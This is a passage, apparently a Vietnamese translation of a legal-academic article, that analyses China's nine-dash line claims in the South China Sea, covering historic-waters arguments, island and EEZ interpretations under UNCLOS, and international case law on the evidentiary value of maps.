Đông Sa[17]).</div> <div> </div> <div> 2. Quyền chủ quyền và quyền tài phán đối với vùng biển liên quan bao gồm đáy biển và tầng đất dưới đáy biển của chúng.</div> <div> </div> <div> 3. Tính nhất quán của vị thế chính thức của TQ về các yêu sách biển và lãnh thổ ở Biển Đông.</div> <div> </div> <div> 4. Sự nhận biết của các nước bên thứ ba liên quan đến yêu sách của TQ về biển và lãnh thổ ở Biển Đông.</div> <div> </div> <div> 5. Đường chữ U mô tả những yêu sách của TQ về chủ quyền, quyền chủ quyền và quyền tài phán. [18]</div> <div> </div> <div> Tuy nhiên, dường như công bằng để nói rằng giải thích chính thức của TQ trích dẫn trên, theo như ý nghĩa chính xác của bản đồ đính kèm, vẫn còn là mơ hồ. Cụ thể, bản chất pháp lý chính xác của các khu vực biển bao bọc bởi đường 9-chấm-vẫn còn mờ mịt, mặc dù có việc "làm rõ" của TQ. Điểu này được thể hiện rõ ràng bởi các phản ứng đang dạng mà họ gây ra tại các hội nghị chuyên ngành được tổ chức kể từ đó. [19]</div> <div> </div> <div> Theo hiểu biết của chúng tôi, cho đến nay chỉ có một nước là Philippines thực hiện nỗ lực giải thích.[20] TQ nhanh chóng trả lời với một công hàm mới, một lần nữa công hàm này chẳng làm cho rõ ràng hơn bao nhiêu. Trong công hàm mới này, đề ngày 14 tháng 4 năm 2011, TQ nêu rằng “chủ quyền và các quyền và quyền tài phán liên quan của TQ trong Biển Đông” được hỗ trợ bằng “chứng cứ lịch sử và pháp lý phong phú”'.[21] Điều rõ ràng trong tài liệu ngoại giao mới này là sự thiếu vắng của bất kỳ đề cập nào tới bản đồ trên. Từ sự thiếu vắng này, chúng ta có thể suy ra sự từ bỏ đường 9 chấm hay không? Chắc chắn, không thể giả định có một sự quay ngoắt (volte-face) một cách hời hợt. Hơn nữa, dù họ đang chủ trương làm dịu đi các quan ngại về tự do hàng hải ở Biển Đông, [22] ví như can thiệp gần đây của TQ đối với tàu thuyền Việt Nam và Philippines mà thôi cho thấy các yêu sách quá đáng của họ như trên bản đồ vẫn còn nguyên vẹn.</div> <div> </div> <div> II. CÁC YÊU SÁCH</div> <div> </div> <div> Công hàm ngày 07 tháng 5 năm 2009 của TQ, dù là có thể mới trong các khía cạnh vể biển của nó nhưng chỉ lặp lại những khẳng định tương tự như đã đưa ra trong quá khứ liên quan đến các thể địa lý. [23] Hơn nữa, nhiều học giả chủ yếu của TQ và Đài Loan đã đề ra các cách giải thích riêng của họ về đường 9 chấm. Giữa sự rối rắm này, người ta chỉ có thể chắc chắn một điều là các khẳng định TQ về Biển Đông không vượt quá ranh giới này. [24] Những quan điểm và giá trị pháp lý của các khẳng định này sẽ được thảo luận sau đây.</div> <div> </div> <div> A. Yêu sách lịch sử</div> <div> </div> <div> 1. Thực hành Nhà nước (State practice)</div> <div> </div> <div> Mặc dù các khẳng định kiểu này dường như không là nét đặc biệt trong chính sách chính thức của TQ, Đài Bắc có truyền thống ủng hộ lập trường này đối với đường chữ U khá mạnh, như có thể thấy trong một loạt các tuyên bố. Ví dụ, trong năm 1991 tại một trong những Hội thảo về Biển Đông, một đại diện Văn phòng Kinh tế và Thương mại Đài Bắc ở Jakarta (Indonesia) tuyên bố:</div> <div> </div> <div> Biển Đông là một vùng nước thuộc thẩm quyền của THDQ. THDQ có quyền và đặc quyền trong Biển Đông. Bất kỳ hoạt động nào trong Biển Đông phải có sự chấp thuận của Chính phủ THDQ. [25]</div> <div> </div> <div> Hướng dẫn Chính sách cho Biển Đông năm 1993 (chuẩn nhận bởi Bộ trưởng Hành Chánh) lưu ý rằng:</div> <div> </div> <div> Trên cơ sở lịch sử, địa lý, luật pháp quốc tế, và nhiều sự kiện, quần đảo Trường Sa, quần đảo Hoàng Sa, bãi cạn Macclesfield, và quần đảo Pratas luôn là phần lãnh thổ cố hữu của THDQ. Chủ quyền của nước THDQ đối với chúng không còn chút nghi ngờ nào. Khu vực Biển Đông trong ranh giới vùng nước lịch sử là khu vực biển thuộc thẩm quyền của nước THDQ, THDQ sở hữu tất cả các quyền và lợi ích trong đó. [26]</div> <div> </div> <div> Trong năm 1994, Bộ trưởng Bộ Hành Chánh, Trương Kim Ngọc (Chang King-yu), nói rằng “các vùng biển được bao bọc bởi đường chữ U ở Biển Đông là vùng nước lịch sử của chúng ta và THDQ được hưởng tất cả các quyền trong đó” (nhấn mạnh thêm). [27]</div> <div> </div> <div> Chính sách của Đài Bắc được suy luận xa hơn từ các phản đối đã thực hiện chống lại cách ứng xử của các nước ven biển trong khu vực. Đáp trả với việc Malaysia chiếm đóng hai thể địa lý tại quần đảo Trường Sa và việc Philippines quyết địnhsáp nhập bãi cát ngầm Scarborough trên bản đồ của họ, Đài Bắc tuyên bố:</div> <div> </div> <div> Biển Đông là một vùng nước của THDQ. THDQ có tất cả các quyền và đặc quyền trong vùng Biển Đông. Bất kỳ hoạt động nào (kể cả việc thảo luận về hợp tác chung hoặc Quy tắc ứng xử, vv) trong Biển Đông phải có sự chấp thuận của Chính phủ THDQ. (nhấn mạnh thêm) [28]</div> <div> </div> <div> Một số chuyên gia đã cóp nhặt nhiều lập luận pháp lý cho tuyên bố mong manh này. [29] Ví dụ, Triệu Quốc Tài (Guocai Zhao) nhận xét:</div> <div> </div> <div> TQ sở hữu quyền lịch sử các hòn đảo, đá ngầm, bãi cát ngầm, các bãi cạn, và các vùng nước trong đường 9 chấm. Biển Đông được coi là vùng nước lịch sử của TQ, điều đó được thừa nhận phổ quát vào thời điểm đó. Cho đến nay điều này đã kéo dài nửa thế kỷ. [30]</div> <div> </div> <div> 2. Phân tích pháp lý</div> <div> </div> <div> Việc xem xét các bài viết học thuật về các tuyên bố lịch sử liên quan đến các khu vực biển làm phát sinh rất nhiều nhầm lẫn về thuật ngữ. Các khái niệm thích hợp như quyền lịch sử / sở hữu lịch sử, các vùng nước lịch sử, và vịnh lịch sử không dễ dàng phân biệt và làm sáng tỏ. [31] Để tránh việc tìm hiểu kéo dài không cần thiết và phần nào thừa thãi về sự khác biệt giữa các quyền lịch sử và sở hữu lịch sử, chỉ cần nói rằng “quyền lịch sử” là chủng (genus) mà theo đó người ta có thể đặt các loại (species) “vùng nước lịch sử” vào. Tương tự, “vịnh lịch sử” là một loại “vùng nước lịch sử”. [32] Trong bối cảnh của đường 9 chấm, cách ứng xử của Đài Bắc dường như bao hàm sự công nhận các vùng nước lịch sử liên quan đến một phần chủ yếu của Biển Đông.</div> <div> </div> <div> Không có định nghĩa được chấp nhận rộng rãi về các vùng nước lịch sử, nhưng theo cách hiểu rộng rãi, nó biểu thị các quyền dành cho một nước ven biển đối với một hoặc nhiều khu vực biển mà nước đó bình thường sẽ không được hưởng. Phạm vi các quyền đi cùng với vùng nước lịch sử có thể khác nhau đáng kể. Các điều kiện pháp lý cho việc thụ đắc các vùng nước lịch sử đã được xem xét trong một nghiên cứu năm 1962 do Văn phòng Ban thư ký Liên Hợp Quốc của Vụ Pháp chế (OLA) thực hiện theo yêu cầu của Uỷ ban pháp luật quốc tế. [33] Theo quan điểm của OLA:</div> <div> </div> <div> Có vẻ có một sự nhất trí chung nhất rằng khi xác định liệu một nước có quyền sở hữu lịch sử đối với một khu vực biển hay không phải xem xét tới ít nhất ba yếu tố. Những yếu tố này là: (1) việc thực thi thẩm quyền của nước yêu sách quyền lịch sử đối với khu vực đó (2) tính liên tục của việc thực thi thẩm quyền (3) thái độ của các nước khác. [34]</div> <div> </div> <div> Đài Bắc lẫn TQ đều không đáp ứng các tiêu chí này cho vấn đề đó. Điều kiện (1) và (2) đòi hỏi nước có yêu sách phải thực thi thẩm quyền thông qua các hành vi thể hiện chủ quyền ở mức đủ thường xuyên và có hiệu quả. Liên quan tới khu vực họ yêu sách, việc thể hiện thẩm quyền của họ cùng lắm chỉ có thể nói là ở mức không thường xuyên. Việc tự do đánh bắt và đi lại của các nước khác vẫn không bị cản trở. [35] Do đó, không yêu sách lịch sử nào có thể thực hiện ở đây. Các đòi hỏi lý thuyết cần để thoả mãn điều kiện (3) là không chắc chắn. Về cơ bản, việc thảo luận xoay quanh vấn đề liệu các nước khác có cần phải ngầm bằng lòng với việc thực hiện chủ quyền của TQ trên Biển Đông hay liệu việc họ không có bất kỳ phản ứng nào là đủ hay không. [36] Nhưng dù theo quan điểm nào, cả hai dường như đều đồng ý rằng sự phản đối của các nước khác có thể ngăn chặn việc thực thi chủ quyền hòa bình và liên tục, và điều này đích xác là những gì đã xảy ra đối với Biển Đông (xem phần IV-B).</div> <div> </div> <div> Một số người đã vặn lại rằng tuyên bố phải được xem xét dưới ánh sáng của các quy tắc luật quốc tế đã tồn tại khi bản đồ đường chữ U được vẽ ra, tức là năm 1946 (cái gọi là học thuyết của luật liên thời gian [intertemporal law]). [37] Điều này là khá khác thường, vì cách tiếp cận này chỉ làm yếu thêm một luận điểm vốn đã không thuyết phục. Vào thời điểm đó, bề rộng của lãnh hải hợp pháp chỉ là 3 hải lý, khiến cho các yêu sách lịch sử càng thêm quá đáng hơn. [38] Với thực tế rằng các vùng nước lịch sử thường liên quan đến vịnh hoặc một dải lãnh hải, [39] do đó không có gì ngạc nhiên khi nhận thấy một chuyên luận gần đây về vùng nước lịch sử không thấy cần thiết để đề cập tới yêu sách lịch sử của đường 9 chấm. [40] Hơn nữa, ngay cả khi vì mục đích lập luận người ta nhắm tới giả thuyết cho rằng TQ có thể thực hiện một yêu sách lịch sử lớn chưa từng có (cái không có –quod non) thì cũng nên nhớ rằng các yêu sách lịch sử không tạo ra một chế độ liên quan tới mọi nước (erga omnes), mà là phụ thuộc vào sự công nhận tường minh hay hàm ý trên tầm mức quốc gia như một tác giả mới đây đã nhấn mạnh. [41]</div> <div> </div> <div> Một lưu ý cuối cùng, việc sử dụng cách gọi “Biển Nam Trung Hoa" không có ý trao chủ quyền lịch sử cho TQ. [42] Theo luật pháp quốc tế, việc đặt tên đơn thuần một khu vực không thiết lập chủ quyền đối với khu vực đó. [43] Tên này đã bị các quốc gia có liên quan phản đối mạnh mẽ, trong đó có Việt Nam. [44] Bản đồ nước ngoài dùng tên Biển Nam Trung Hoa chỉ đơn giản là để phù hợp với cách gọi tên do Tổ chức Thủy văn Quốc tế về Ranh giới các Đại dương và biển công bố (1953), cách gọi tên đó “không có bất kỳ ý nghĩa chính trị nào”. [45] Vì thế việc lựa chọn từ ngữ này về phần các nước phương Tây không có hàm ý nhìn nhận chủ quyền của TQ. Ngoài ra, về mặt lịch sử người TQ cũng dùng nhiều tên gọi khác nhau cho vùng biển này như là “Biển Giao Chỉ” (đời Tống và Minh) và “Biển Nam” (đời Thanh (1905), THDQ (1913) và CHNDTH (1952 và 1975)). [46]</div> <div> </div> <div> 3. Những diễn biến mới</div> <div> </div> <div> Những diễn biến gần đây có thể làm cho sự thảo luận dễ dàng hơn. Thật vậy, rất có thể là Đài Bắc đang từ bỏ luận điểm lâu dài của họ. Các tuyên bố trong những năm gần đây gợi cho thấy một sự thay đổi trong quan điểm của họ, đưa chính sách của Đài Loan về vấn đề này cùng hướng với chính sách của TQ. Việc đề cập tới quyền / vùng nước lịch sử vắng đi trong khi trọng tâm dường như là chủ quyền lãnh thổ đối với các đảo và lãnh hải của chúng. [47] Ví dụ gần đây nhất là tuyên bố hồi tháng 5 năm 2009 phản đối các hồ sơ củaViệt Nam và Malaysia - Việt Nam gửi cho CLCS:</div> <div> </div> <div> Chính phủ THDQ nhắc lại rằng quần đảo Điếu Ngư Đài (Diaoyutai), quần đảo Nam Sa (Trường Sa), quần đảo Tây Sa (quần đảo Hoàng Sa), quần đảo Trung Sa (Macclesfield) và quần đảo Đông Sa (Pratas Islands) cũng như các vùng biển xung quanh là cácvùng lãnh thổ và các vùng biển cố hữu của THDQ dựa trên các quyền sở hữu chủ quyền không thể chối cãi biện minh bằng các cơ sở lịch sử, địa lý và luật quốc tế. Theo luật quốc tế, THDQ được hưởng tất cả các quyền và lợi ích đối với các quần đảo nói trên, cũng như các vùng biển xung quanh và đáy biển và lòng đất dưới đáy của chúng. [48]</div> <div> </div> <div> B. Các yêu sách đảo</div> <div> </div> <div> 1. Cách giải thích 1: Tất cả các thể địa lý trong đường chữ-U là lãnh thổ Đài Bắc/TQ</div> <div> </div> <div> Người đề xuất trước nhất cách giải thích yêu sách lãnh thổ này, nhà ngoại giao Indonesia Hasji Djalal, trong khi thừa nhận tính chất “khó hiểu" của đường chữ U, đã nêu các tìm hiểu của mình dựa trên việc phân tích cẩn thận các tuyên bố của TQ, đặc biệt là những tuyên bố hình thành trong cuộc họp của Tổ chức Hàng không dân dụng (ICAO) quốc tế năm 1979. [49]</div> <div> </div> <div> Smith ghi nhận rằng các thể địa lý giữa đại dương nằm bên trong “các vạch phân bổ này” là những thể địa lý mà TQ tuyên bố chủ quyền. Ông nhấn mạnh rằng các dấu vạch này không gợi ra bất kỳ yêu sách ranh giới biển nào và sẽ không có chút tác động nào đối với việc giải quyết tranh chấp biên giới biển. [50]</div> <div> </div> <div> Dzurek cũng tin tưởng rằng đường chữ U không phân ranh các biên giới thuộc thẩm quyền trên biển của TQ, với việc tin tưởng này dựa trên một lập luận về bản đồ học, cụ thể là, sự kiện rằng các dấu vạch chia cắt Malaysia và quần đảo Natuna đi chệch khỏi đường phân giới thềm lục địa Indonesia-Malaysia đã thoả thuận. [51]</div> <div> </div> <div> Như đã nói ở trên, việc thực hành nhà nước hiện nay của Đài Bắc dường như chứng minh một sự chuyển đổi về phía vị thế này.</div> <div> </div> <div> Câu hỏi tinh tế về các đảo trong Biển Đông thuộc nước nào, đòi hỏi phải phân tích nghiêm ngặt một ma trận sự kiện phức tạp và ứng dụng các khái niệm pháp lý đa dạng (chẳng hạn như phát hiện, ngày tới hạn [ngày mà các hành động của các bên liên quan thực hiện sau ngày đó sẽ không được toà xét đến-ND] , và tính hiệu quả), sẽ đưa chúng ta quá xa khỏi chủ đề hiện tại. [52] Với điều này trong trí, có lẽ thích hợp để nhấn mạnh ở đây rằng bản đồ TQ không thể tạo thành một quyền sở hữu lãnh thổ hợp lệ đối với các đảo cho từng bản đồ. Trong vụ Burkina Faso / Mali, Tòa Công lý Quốc tế (ICJ) đưa ra lời giải thích “dứt khoát”[53] về giá trị chứng cứ của bằng chứng bản đồ:</div> <div> </div> <div> Các bản đồ chỉ đơn thuần tạo thành thông tin, chúng thay đổi về tính chính xác theo từng trường hợp; và bằng sự tồn tại của một mình chúng, chúng không có thể tạo thành một quyền sở hữu lãnh thổ, nghĩa là, một tài liệu được luật quốc tế phú cho hiệu lực pháp lý nội tại cho mục đích xác lập các quyền lãnh thổ. Tất nhiên, trong một số trường hợp, bản đồ có thể có được hiệu lực pháp luật như vậy, nhưng trong những trường hợp như thế hiệu lực pháp luật không phát sinh duy nhất từ giá trị nội tại của chúng mà chính vì do bản đồ đó thuộc về loại biểu hiện vật lý về ý muốn của một nước hoặc các nước có liên quan. Ví dụ, trường hợp khi các bản đồ được kèm theo một văn bản chính thức mà chúng là một phần không thể thiếu. Ngoại trừ trường hợp xác định rõ ràng này, các bản đồ chỉ là bằng chứng bên ngoài có độ tin cậy khác nhau hay không đáng tin cậy, chúng có thể được sử dụng, cùng với các bằng chứng khác loại gián tiếp, để thiết lập hoặc tái thiết lại các sự kiện thật. [54]</div> <div> </div> <div> Ý kiến nhân tiện (obiter dictum) này đã được trích dẫn một cách đồng tình trong một loạt các trường hợp tranh cãi. [55] Một số người đã đọc đoạn văn này như một bác bỏ “dứt khoát” đối với khái niệm về quyền sở hữu theo bản đồ. [56] Trong mọi trường hợp, Tòa án dường như còn để mở một cửa sổ nhỏ[57] (“các bản đồ … kèm theo một văn bản chính thức mà chúng tạo thành một phần không thể thiếu'”) đề cập đến nhưng công cụ như các hiệp ước[58] và do đó không áp dụng được trong trường hợp này.</div> <div> </div> <div> 2. Cách giải thích 2: Đường chữ U là đường ranh giới của vùng đặc quyền kinh tế (EEZ) được tạo ra từ các đảo ở Biển Đông</div> <div> </div> <div> Một số học giả TQ dường như ủng hộ thuyết này, mặc dù lý luận của họ hơi khác nhau và thường liên kết với thuyết các quyền / vùng biển lịch sử. Triệu Lý Hải (Zhao Lihai) viết:</div> <div> </div> <div> Đường chín chấm chỉ rõ lãnh thổ và chủ quyền của TQ về bốn quần đảo trong Biển Đông và khẳng định ranh giới biển của các đảo của TQ ở Biển Đông mà các đảo này đã được bao gồm trong phạm vi TQ ít nhất từ thế kỷ 15. Tất cả các hải đảo và các vùng nước lân cận trong đường biên giới phải thuộc thẩm quyền và kiểm soát của TQ.[59]</div> <div> </div> <div> Kiều Vĩnh Khoa (Jiao Yongke) nêu:</div> <div> </div> <div> Các khu vực nước bên trong đường biên giới ở Biển Đông của TQ tạo thành các vùng nước mà TQ có quyền sở hữu lịch sử đối với chúng, chúngtạo thành vùng đặc quyền kinh tế đặc biệt, hay vùng đặc quyền kinh tế lịch sử của TQ, do đó phải có địa vị tương tự như vùng đặc quyền kinh tế theo các quy định của UNCLOS [Công ước LHQ về Luật Biển]. [60]</div> <div> </div> <div> Cuối cùng, Trâu Khoa Uyển (Zou Keyuan) tin rằng TQ đã khẳng định một tuyên bố lịch sử, nhưng tuyên bố này là “tương đương với tình trạng pháp lý của vùng đặc quyền kinh tế hay thềm lục địa”. [61]</div> <div> </div> <div> Cách giải thích thứ hai này về các vạch liên tục là phụ thuộc hoàn toàn vào cách đầu tiên. Nó suy từ nguyên tắc “đất thống trị biển” mà cách tiếp cận này nhất thiết phải dựa trên tiền đề là TQ có chủ quyền đối với các thể địa lý ở Biển Đông. [62] Những người ủng hộ thuyết này xem đường chữ U như một ranh giới trên biển nối các ranh giới của vùng đặc quyền kinh tế hoặc thềm lục địa phát sinh từ các đảo. Một loạt các câu hỏi nẩy lên. Vấn đề gai góc đầu tiên liên quan đến việc phân định vùng biển đó. Suy cho cùng, một nước ven biển không thể chỉ đơn giản áp đặt việc phân giới lên các nước khác một cách đơn phương. Sự hợp lệ của hành động như vậy sẽ phụ thuộc vào sự tuân thủ các chuẩn mực luật pháp quốc tế. [63]</div> <div> </div> <div> Hơn nữa, còn có vấn đề là các thể địa lý biển có thể tạo ra các khu vực biển (bất chấp ai là chủ sở hữu hợp pháp) hay không? Tất cả phụ thuộc vào việc thể địa lý đó có hội đủ điều kiện là đảo theo nghĩa pháp lý hay không. Công ước 1982[64] có chứa một điều khoản cho mục đích này, Điều 121, nêu như sau:</div> <div> </div> <div> 1. Một hòn đảo là một khu đất hình thành tự nhiên, bao quanh bởi nước, nằm bên trên mặt nước khi triều cao.</div> <div> </div> <div> 2. Ngoại trừ như quy định tại mục 3, lãnh hải, vùng tiếp giáp, vùng đặc quyền kinh tế và thềm lục địa của một đảo được xác định theo quy định của Công ước này áp dụng cho lãnh thổ đất liền khác.</div> <div> </div> <div> 3. Đá không thể duy trì sự cư trú của con người hay có đời sống kinh tế của riêng mình sẽ không có vùng đặc quyền kinh tế hay thềm lục địa. [65]</div> <div> </div> <div> Do đó, các bề mặt có đất trong vùng Biển Đông sẽ tạo ra thêm các vùng đặc quyền kinh tế (và thềm lục địa) nếu chúng đáp ứng các yêu cầu nghiêm ngặt nêu trên. [66] Do đó, tính chất đảo của một loạt các tính năng hàng hải tại Biển Đông đã bị rơi vào nghi vấn. Oude Elferink thận trọng nêu rằng “ít ra có một số đảo trong Biển Đông có vùng đặc quyền kinh tế và thềm lục địa. Các thể địa lý có tính đảo khác gần như chắc chắn có thể được coi là rơi vào vòng khống chế của Điều 121 (3) [đá].” [67] Nếu biết ra rằng những bề mặt đất đó không phải là đảo, (ít nhất là một phần) thì cách giải thích vùng đặc quyền kinh tế hay thềm lục địa của đường chữ U là không có giá trị pháp lý.</div> <div> </div> <div> Về mặt này, rất đáng để đề cập ngắn gọn đến các bước do TQ mới thực hiện ở cấp độ quốc tế ủng hộ di sản chung của loài người bằng cách cố gắng bảo vệ khu vực này chống lại sự xâm nhập không chính đáng của một vài nước. [68] Về thực chất, các can thiệp này nhằm mục đích chống lại đệ trình của Nhật Bản cho CLCS vể đảo Okinotorishima ở Thái Bình Dương. [69] Tuy nhiên, hành động này ngay lập tức bị phản ứng ngược đối với Biển Đông, Indonesia đã chất vấn đường 9 chấm của TQ ngay chính trên cơ sở của các cơ quan đại diện của đất nước này nêu ra trước cuộc họp của các nước thành viên năm 2009 cũng như trước Cơ quan quốc tế đáy biển, đó là, các mỏm đá không thể duy trì sự cư trú của con người, đời sống kinh tế riêng không tạo ra một vùng đặc quyền kinh tế hay thềm lục địa.[70]</div> <div> </div> <div> Dù các diễn biến có thể thú vị như thế nào, điều bắt buộc này, mà đúng hơn là việc điều tra nặng thực tế và kỹ thuật về tình trạng pháp lý chính xác của các thể địa lý khác nhau ở Biển Đông theo Điều 121 (3) của Công ước năm 1982 vượt quá xa phạm vi nghiên cứu của chúng tôi.</div> <div> </div> <div> III. CÁC YẾU TỐ LÀM SUY YẾU SỨC MẠNH CHỨNG MINH CỦA BẢN ĐỒ</div> <div> </div> <div> Theo một quy tắc đã được ghi nhận, [71] các thẩm phán quốc tế được hưởng sự tự do đặc biệt rộng rãi trong việc xác định trọng lượng của tài liệu chứng cứ. [72] Cảnh giác về quyền tự do theo nguyên tắc này, chúng tôi đã xem xét các tiền lệ[73] liên quan đến bản đồ để suy ra các yếu tố[74] thường được thẩm phán hoặc trọng tài sử dụng để đánh giá hiệu lực chứng minh của bằng chứng bản đồ. Cần nhấn mạnh rằng trong khi làm như vậy, chúng tôi dựa vào các tiền lệ liên quan cho đất liền lẫn trên biển không phân biệt. Mặc dù đúng là các nguyên tắc quy định việc thụ đắc những vùng biển và phân giới biển khác biệt đáng kể so với những quy tắc làm cơ sở cho việc thụ đắc và phân giới lãnh thổ, [75] câu hỏi cốt yếu này (chế độ pháp luật áp dụng được) là tách biệt với câu hỏi về bằng chứng (các bản đồ). Hơn nữa, học thuyết dường như không có sự phân biệt có ý nghĩa giữa bản đồ đất liền và bản đồ biển trong việc phân loại các quy tắc bằng chứng, và ICJ đã trích dẫn các quy tắc pháp lý bổ sung trong các vụ trên đất liền khi đánh giá các bản đồ do các bên tham gia tranh chấp nộp vào có chứa một yếu tố liên quan đến biển. [76]</div> <div> </div> <div> Các yếu tố sau đây chứng tỏ sự thiếu sót về chứng cứ vốn có của đường 9-chấm của TQ.</div> <div> </div> <div> A. Cách tiếp cận thận trọng với chứng cứ bản đồ</div> <div> </div> <div> Như một quan sát bước đầu, cần chỉ ra rằng xu hướng chung là các tòa và các toà án quốc tế không đưa ra các phán quyết chỉ đơn thuần dựa trên các kết luận về bản đồ. [77] Mặc dù những bản đồ chính xác phản ánh ý định của các bên có thể thực sự tạo thành “một cơ sở vững chắc và liên tục cho việc thảo luận” sự vắng mặt của chúng “là một sự bất tiện đáng tiếc”', [78] chúng thường sẽ đóng vai trò phụ trong việc làm vững thêm bằng chứng khác cùng chỉ về một hướng. [79] Trở lại với quyết định cho vụ Burkina Faso / Cộng hòa Mali:</div> <div> </div> <div> Các bản đồ vẫn không thể có giá trị pháp lý hơn so là giá trị của bằng chứng củng cố trong việc chuẩn nhận một kết luận mà một tòa án đi đến bằng các phương tiện khác không dính dáng tới các bản đồ, trừ khi các bản đồ thuộc loại biểu hiện vật lý ý muốn của Nhà nước, tự chúng không thể được xem như là bằng chứng về một đường biên giới, vì trong trường hợp đó chúng sẽ hình thành một giả định không thể bác bỏ, thật sự đồng nghĩa với quyền sở hữu pháp lý. Giá trị duy nhất mà chúng có là bằng chứng thuộc loại phụ hoặc khẳng định thêm, và điều này cũng có nghĩa rằng chúng không thể được gán cho đặc tính của một giả định không thể bác bỏ (juris tantum) như là để thực hiện một sự đảo ngược trách nhiệm chứng minh. [80]</div> <div> </div> <div> Lập trường thận trọng này đã được phát hiện và ghi nhận theo ý kiến của học giả có thẩm quyền, [81] và trong một số trường hợp đã được sự chấp thuận đáng kể. [82]</div> <div> </div> <div> B. Các bản đồ không tương thích nhau</div> <div> </div> <div> Khi trình bày các khẳng định mâu thuẫn lẫn nhau, sắp xếp các sự kiện cho chỉnh trang đòi hỏi cố gắng lớn. [83] Khá tương tự như vậy, khi các tài liệu bản đồ mâu thuẫn với nhau, chúng sẽ mất đi sự tin cậy. [84] Như ICJ đã nêu trong trường hợp Kasikili / Sedudu:</div> <div> </div> <div> “dưới ánh sáng của sự không chắc chắn và không thống nhất của tài liệu bản đồ được đệ trình, Tòa tự thấy mình không thể rút ra kết luận từ những bằng chứng bản đồ đưa ra trong trường hợp này.” [85]</div> <div> </div> <div> Các bản đồ với đường 9-chấm vẽ ra một hình ảnh Biển Đông khác biệt với bằng chứng bản đồ và các tài liệu khác của các nước ven biển trong khu vực. Sẽ khó khăn để đạt được một sự hiểu biết chính xác ranh giới biển và chính trị chỉ dựa trên việc đặt các bản đồ kế bên nhau. Ngoài ra, các điều mà đường chữ U thể hiện cũng không nhất quán. Như đã đề cập ở trên, đường chữ U trong bản đồ ở TQ trước năm 1953 bình thường gồm có 11 vạch, [86] trong khi các phiên bản sau này của đường nhiều chấm chỉ gồm 9 đoạn. Một bản đồ điện tử trực tuyến gần đây của Cục Khảo sát và Bản đồ Nhà nước TQ ngày 21 tháng 10 năm 2010 lại thêm một đoạn nữa vào phía Bắc giữa Đài Loan và nhóm Ryukyu, trong đó có đảo Yonaguni là hòn đảo ở cực tây, tất cả đều thuộc về Nhật Bản. [87] Không có lý do nào được đưa ra cho việc loại bỏ bí ẩn hai vạch trong quá khứ hay việc thêm vào vạch thứ 10 mới gần đây. [88]</div> <div> </div> <div> C. Ký hiệu bản đồ rời rạc / nhập nhằng</div> <div> </div> <div> Bản đồ không rõ ràng đã xuất hiện trong các tố tụng qua trọng tài trong quá khứ. Trong vụ Trọng tài Eritrea / Yemen, Eritrea đã nộp các bản đồ mô tả một đường chấm chấm hỗ trợ yêu sách của mình. Tòa án đưa ra một tuyên bố ngắn về phương pháp chứng cứ của bên liên quan:</div> <div> </div> <div> Trong một số trường hợp Tòa án có thể không đồng ý với các đặc tính của các bản đồ mà bên đưa ra mong muốn. Hơn nữa, nếu không có chỉ dẫn cụ thể từ chính bản đồ, Tòa án không muốn gán ý nghĩa cho các đường chấm thay cho màu sắc hoặc thay cho việc ghi địa danh trên bản đồ. Các kết luận trên cơ sở này do Eritrea thúc hối liên quan tới một số bản đồ của họ không được chấp nhận. [89]</div> <div> </div> <div> Đương nhiên,có sự tương tự của trường hợp này với đường chữ U, sự thiếu vắng một chú giải (legend), và lời lẽ bí ẩn chứa trong công hàm của TQ gửi Tổng thư ký LHQ đã soạn sẵn. Sự lúng túng càng lớn hơn bởi vì cách mô tả của đường 9-chấm sai lệch với các tiêu chuẩn vẽ bản đồ quốc tế được Tổ chức Thủy văn Quốc tế đề ra đích xác cho mục đích về tính rõ ràng. [90] Cần nhớ rằng TQ là một thành viên của tổ chức quốc tế này. [91]</div> <div> </div> <div> D. Ý định không rõ ràng</div> <div> </div> <div> Như Thẩm phán Oda đã chỉ ra một cách đúng đắn trong ý kiến riêng của ông trong vụ Kasikili / Sedudu, “một tuyên bố lãnh thổ chỉ có thể được thực hiện với dấu hiệu rõ ràng về ý định của chính phủ, dấu hiệu đó có thể được phản ánh trong các bản đồ. Một bản đồ tự nó, nếu không có bằng chứng hỗ trợ khác thì không thể biện minh cho một tuyên bố chính trị” (nhấn mạnh thêm). [92] Trong trường hợp này (in casu) tiêu chí về ý định rõ rệt về phía chính phủ TQ không được đáp ứng một cách thoả đáng. Sự đa dạng về cách giải thích đường chữ U do các học giả luật học đưa ra cũng như công hàm mơ hồ của TQ đề ngày7 tháng 5 năm 2009 là chứng cứ cho kết luận này. Bên cạnh các cấu trúc câu khó hiểu, các từ ngữ được sử dụng trong công hàm, cụ thể là “vùng biển có liên quan” và “vùng biển tiếp giáp” là đặc biệt khó hiểu vì chúng không xuất hiện bất cứ chỗ nào trong UNCLOS. Sự mơ hồ có vẻ như cố tình làm trầm trọng thêm, vì TQ vẫn chưa thông qua luật tạo cho đường chữ U bất kỳ hiệu lực trong trật tự luật pháp trong nước. [93] Ngay cả khi người ta có thể bới ra các ý định đằng sau bản đồ này, ý nghĩa pháp lý của chúng không nên được đánh giá cao. Trở lại bài viết nói trên của Thẩm phán Oda:</div> <div> </div> <div> Một bản đồ được sản xuất bởi một cơ quan chính phủ có liên quan đôi khi có thể chỉ ra vị thế của chính phủ liên hệ đến lãnh thổ hay chủ quyền của một khu vực cụ thể hay đảo. Tuy nhiên, một mình sự kiện đó không có tính quyết định về tư cách pháp lý của khu vực hay đảo đang có vấn đề. Đường ranh giới trên những bản đồ như vậy có thể được hiểu như là thể hiện cho yêu sách tối đa của nước có liên quan, nhưng không nhất thiết biện minh cho yêu sách đó. [94]</div> <div> </div> <div> E. Thiếu tính trung lập</div> <div> </div> <div> Khi bản đồ được vẽ lên bởi một chuyên gia khách quan, giá trị chứng minh của nó có xu hướng tăng lên. [95] Trái lại, các tài liệu bản đồ được sản xuất theo chỉ thị của một trong các bên tranh chấp sẽ được xét với sự nghi ngờ nhiều hơn, và do đó sự phụ thuộc vào tài liệu như vậy chỉ là ngoại lệ không phải là quy tắc. [96] Các trọng tài trong vụ Trọng tài kênh Beagle nhận xét như sau:</div> <div> </div> <div> Trong khi các bản đồ đến từ các nguồn khác hơn những bản đồ của các bên không thuộc vụ đó được coi là nhất thiết phải chính xác hơn hoặc khách quan hơn, trước nhất (prima facie) chúng có tình trạng độc lập, điều này có thể tạo cho chúng giá trị lớn trừ khi chúng chỉ là các bản sao chép của - hoặc dựa trên bản gốc xuất phát từ - các bản đồ do một trong các bên vẽ ra, hoặc giả được xuất bản trong một nước có liên quan, hoặc thay mặt cho, hoặc theo yêu cầu của một Bên, hoặc rõ ràng có động cơ chính trị. Nhưng chỗ nào mà tư cách độc lập của chúng không để lộ cho việc nghi 